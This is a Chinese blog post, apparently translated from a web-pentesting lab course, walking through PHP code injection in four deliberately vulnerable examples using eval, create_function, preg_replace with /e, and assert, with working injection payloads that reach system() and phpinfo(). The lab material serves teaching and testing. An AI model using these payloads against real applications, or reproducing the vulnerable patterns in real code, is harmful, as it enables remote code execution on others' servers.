web渗透测试(11):代码注入

在本节中,我们将讨论代码执行。代码执行来自缺乏对用户控制数据的过滤和/或转义。在利用代码注入时,您需要在发送给应用程序的信息中注入代码。例如,如果要运行该命令ls,则需要发送system("ls")到应用程序,因为它是PHP应用程序。

 

就像Web应用程序问题的其他示例一样,知道如何注释掉其余代码(即:应用程序将添加到用户控制数据的后缀)总是很方便。在PHP中,您可以使用它//来删除应用程序添加的代码。

 

与SQL注入一样,您可以使用相同的值技术来测试并确保您有代码注入:

  • 通过使用注释和注入/* random value */。
  • 通过注入一个简单的连接"."("用于打破语法并正确改进)。
  • 通过替换字符串连接提供的参数,例如,"."ha"."cker"."而不是hacker。

 

您还可以使用PHP函数对此问题使用基于时间的检测sleep。您会看到以下两者之间的时差:

不使用该函数sleep或以零延迟调用它:sleep(0)。

长时间延迟调用函数:sleep(10)。

 

Example 1

<?php require_once("../header.php"); ?>

<?php 
  $str="echo \"Hello ".$_GET['name']."!!!\";";

  eval($str);
?>
<?php require_once("../footer.php"); ?>

 

第一个例子是一个简单的代码注入。如果您注入单引号,则不会发生任何事情。但是,您可以通过注入双引号来更好地了解问题:

Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1

 

或许还有另一种方式:单引号可能会产生错误,双引号可能不会。

 

根据错误消息,我们可以看到代码正在使用函数eval:“Eval is evil ...”。

我们看到双引号打破了语法,并且该函数eval似乎正在使用我们的输入。从这里,我们可以尝试计算出能够给我们带来相同结果的有效载荷:

  • ".":我们只是添加一个字符串连接; 这应该给我们相同的值。
  • "./*pentesterlab*/":我们只是在注释中添加字符串连接和信息; 这应该给我们相同的值。

 

现在我们有类似的值工作,我们需要注入代码。为了表明我们可以执行代码,我们可以尝试运行命令(例如uname -a使用代码执行)。完整的PHP代码如下所示:

system('uname -a');

 

这里的挑战是打破代码语法并保持一个干净的语法。有很多方法可以做到:

  • 通过添加虚拟代码:".system('uname -a'); $dummy="。
  • 通过使用代码:".system('uname -a');#或".system('uname -a');//。

 

不要忘记在发送请求之前,您需要对某些字符(#和;)进行URL编码。

 

Example 2

<?php require_once("../header.php") ?>
<?php
class User{
  public $id, $name, $age;
  function __construct($id, $name, $age){
    $this->name= $name;
    $this->age = $age;
    $this->id = $id;
  }   
}
  require_once('../header.php');
  require_once('../sqli/db.php');
    $sql = "SELECT * FROM users ";

    $order = $_GET["order"];
    $result = mysql_query($sql);
  if ($result) {
        while ($row = mysql_fetch_assoc($result)) {
      $users[] = new User($row['id'],$row['name'],$row['age']);
    }
    if (isset($order)) { 
      usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    }
    }   

        ?>
        <table class='table table-striped' >
        <tr>
            <th><a href="example2.php?order=id">id</th>
            <th><a href="example2.php?order=name">name</th>
            <th><a href="example2.php?order=age">age</th>
        </tr>
        <?php

    foreach ($users as $user) {  
            echo "<tr>";
                echo "<td>".$user->id."</td>";
                echo "<td>".$user->name."</td>";
                echo "<td>".$user->age."</td>";
            echo "</tr>";
        }    
        echo "</table>";
  require '../footer.php';
?>

<?php require_once("../footer.php") ?>

 

订购信息时,开发人员使用两种方法:

  • order by 在SQL请求中;
  • usort 在PHP代码中。

 

该功能usort通常与该功能create_function一起使用,以基于用户控制的信息动态生成“排序”功能。如果Web应用程序缺乏有效的过滤和验证,则可能导致代码执行。

 

通过注入单引号,我们可以了解发生了什么:

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22

 

 该函数的源代码如下所示:

ZEND_FUNCTION(create_function)
{
  [...]
    eval_code = (char *) emalloc(eval_code_length);
    sprintf(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(%s){%s}", Z_STRVAL_PP(z_function_args), Z_STRVAL_PP(z_function_code));

    eval_name = zend_make_compiled_string_description("runtime-created function" TSRMLS_CC);
    retval = zend_eval_string(eval_code, NULL, eval_name TSRMLS_CC);
  [...]

 

我们可以看到将要评估的代码放在大括号中{...},我们需要这些信息才能在注入后正确完成语法。

 

与之前的代码注入相反,在这里,您不会在单引号或双引号内注入。我们知道我们需要}使用//或者#(  需要编码)关闭语句并注释掉其余的代码。我们可以尝试用以下方法:

  • ?order=id;}//:我们收到一条错误消息(Parse error: syntax error, unexpected ';')。我们可能缺少一个或多个括号。
  • ?order=id);}//:我们收到警告。这似乎是正确的。
  • ?order=id));}//:我们收到一条错误消息(Parse error: syntax error, unexpected ')' i)。我们可能有太多的结束括号。

 

由于我们现在知道如何正确完成代码(警告不会停止执行流程),我们可以使用代码,例如:?order=id);}system('uname%20-a');//注入任意代码并获得代码执行。

 

 

Example 3

<?php require_once("../header.php"); ?>
<?php
    echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);

?>


<?php require_once("../footer.php"); ?>

 

我们之前讨论过使用多行正则表达式的正则表达式修饰符。另外一个非常危险的修改在PHP中存在:PCRE_REPLACE_EVAL(/e)。preg_replace在执行替换之前,此修饰符将使函数将新值评估为PHP代码。

 

在这里,您需要通过添加/e修改器来更改模式。添加此修饰符后,您应该收到通知:

Notice: Use of undefined constant hacker - assumed 'hacker' in /var/www/codeexec/example3.php(3) : regexp code on line 1

 

该函数preg_replace尝试将值计算hacker为常量但未定义,并且您收到此消息。

 

您可以轻松替换hacker对函数的调用phpinfo()以获得可见结果。一旦看到phpinfo函数的结果,就可以使用该函数system运行任何命令。

 

Example 4

<?php
  require_once("../header.php");
  // ensure name is not empty 
  assert(trim("'".$_GET['name']."'"));
  echo "Hello ".htmlentities($_GET['name']);
  require_once("../footer.php");
?> 

 

此示例基于该功能assert。如果使用不正确,此功能将评估收到的值。此行为可用于获取代码执行。

 

通过注入单引号或双引号(取决于声明字符串的方式),我们可以看到一条错误消息,指示PHP调试评估代码:

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: 'hacker'' in /var/www/codeexec/example4.php on line 4

 

一旦我们打破了语法,我们需要尝试正确地重建它。我们可以尝试以下方法:hacker'.'。错误消息消失了。

 

 

现在我们知道如何完成语法以避免错误,我们可以注入有效负载来运行函数phpinfo():hacker'.phpinfo().'我们在页面中获得PHP引擎的配置。

 

posted @ 2023-08-02 16:50  珊瑚贝博客  阅读(108)  评论(0编辑  收藏  举报